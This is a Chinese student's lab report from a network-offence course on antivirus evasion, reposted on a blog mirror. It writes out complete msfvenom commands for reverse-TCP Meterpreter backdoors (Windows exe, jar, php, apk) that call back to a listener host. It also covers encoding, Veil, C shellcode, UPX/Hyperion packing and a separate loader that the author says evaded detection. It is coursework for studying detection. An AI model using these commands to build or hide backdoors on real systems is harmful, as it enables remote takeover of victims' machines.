zoukankan      html  css  js  c++  java
  • 2019-2020-3 20175324 王陈峤宇《网络对抗技术》Exp3 免杀原理与实践

    一、实验内容

    1.正确使用msf编码器

    在实验二中使用msf生成了后门程序,使用VirusTotal网站对该后门程序进行扫描
    用VirusTotal扫描后结果如下:

    不加任何处理的后门程序在以前挺有威胁的,但是现在能够被大多数杀软检测到。

    为了使后门程序能安全“潜入”,我们使用msf编码器对后门程序进行一次到多次的编码,并进行检测。

    一次编码:-e选择编码器,-b是payload中需要清除的字符,该命令中是为了使x00'不出现在shellcode中,因为shellcode以x00'为结束符。

    输入命令:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b 'x00' LHOST=192.168.149.129 LPORT=5324 -f exe > 20175324.exe

    以上是一次编码后的生成过程和检测截图,我们可以看出有了一点点改善,隐蔽了一些。

    于是我们决定才用改进方案,十次编码:使用-i设置迭代次数

    命令为:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b 'x00' LHOST=192.168.149.291 LPORT=5324 -f exe > 20175324.exe

    由这个检测结果可见即使进行了十次编码,对于抵抗杀软检测依然没有起到什么积极的作用。

    这是因为msfvenom生成exe是有固定模版的,所有它生成的exe如果使用默认的参数或者模版也会具有固定的特征。

    一般来说AV厂商会针对其使用的模版来生成这个特征码,这样就可以一劳永逸地解决所有msfvenom生成的恶意代码。

    2.msfvenom生成jar文件

    生成命令如下:msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.149.129 LPORT=5324 x> 20175324_backdoor_java.jar

    这里的隐蔽性已经提升了不少。

    3.生成php后门文件

    我们再使用mfsvenom生成php文件
    生成PHP后门程序使用命令为:msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.149.129 LPORT=5324 x> 20175324_backdoor.php

    3/59的检出率已经相当低了,在我复制粘贴进主机的过程中,电脑的安全中心也未发出警告。

    4.生成Android后门apk文件

    生成apk后门文件的命令为:

    msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.149.129 LPORT=5324 x> 20175324_android_backdoor.apk

    感觉这个结果不尽如人意。

    5.veil

    下载安装完成

    输入use c/meterpreter/rev_tcp.py进入配置界面

    设置反弹连接IP:set LHOST 192.168.149.129(此处为KaliIP),端口:set LPORT 5324

    输入generate生成文件,接着输入你想要payload的名字:veil_c_5324,如图所示,文件保存路径为:/var/lib/veil/output/compiled/veil_c_5324.exe

    使用VirusTotal检测截图:

     

    6.使用C+shellcode

    生成shellco命令为:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.149.129 LPORT=5308 -f c

    复制这段shellcode,用它新建20175324.c

    使用命令i686-w64-mingw32-g++ 20175324.c -o 20175324.exe将c程序编译为可执行文件

    这个的效果也不怎么好

    7.加壳工具

    加壳的全称应该是可执行程序资源压缩,压缩后的程序可以直接运行。
    加壳的另一种常用的方式是在二进制的程序中植入一段代码,在运行的时候优先取得程序的控制权,

    之后再把控制权交还给原始代码,这样做的目的是为了隐藏程序真正的OEP(入口点,防止被破解)。

    这里我们采用压缩壳UPX、加密壳Hyperion两种加密方式,命令如下:

    upx 20175324.exe -o upxed_20175324.exe

    wine hyperion.exe -v upxed_20175324.exe upxed_20175324_hyperion.exe

    8.使用其他课堂未介绍的方法

    参考优秀同学的博客后,我决定采用将shellcode和加载器分离的方法

    使用msf生成shellcode,命令为:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai

    LHOST=192.168.149.129 LPORT=5308 -f raw > 5308.raw

    这个raw文件杀毒工具是无法识别的

    在主机上使用shellcode_launcher启动raw文件

    发现回连成功

    实验总结与体会

    在这次实验中,我们和如今正在使用的安全系统进行了可控的攻防操作,常言道“实践出真知”,

    通过这次实验,我充分认识到了自己所学知识的浅薄,如今信息安全技术飞速发展,如果不

    勤勉学习,就只能被淘汰。在实验过程中,我也遇到了一些千奇百怪的困难,自己的问题只靠

    咨询同学往往无法解决,别人的成功也不能完全copy,我的动手实践能力得到了极大的提升。

    开启杀软能绝对防止电脑中恶意代码吗?

    不能。在virustotal上检查自己制作的后门程序时我们可以发现,虽然有些后门程序隐蔽性不强,但仍然

    能通过一些常用杀毒软件的检测。在病毒程序不断更新的同时,我们的杀毒软件、病毒库也必须同步更新,

    不然是无法保证用户终端的安全的。

  • 相关阅读:
    Appium 走过的坑( Mac+java )--Apple 篇
    不用第三个变量,互换两个变量的值
    PHPUnit 整合 Selenium2 + PhantomJS
    搜索网站的多线程爬虫
    递归地删除目录
    SQL数据库字段添加说明文字
    SQL Server中数据去重单列数据合并
    SQL Server创建链接服务器
    VS2017快捷键
    由于出现以下异常,无法生成模型:“System.Data.StrongTypingException: 表“TableDetails”中列“IsPrimaryKey”的值为 DBNull
  • 原文地址:https://www.cnblogs.com/wcqy/p/12627587.html
Copyright © 2011-2022 走看看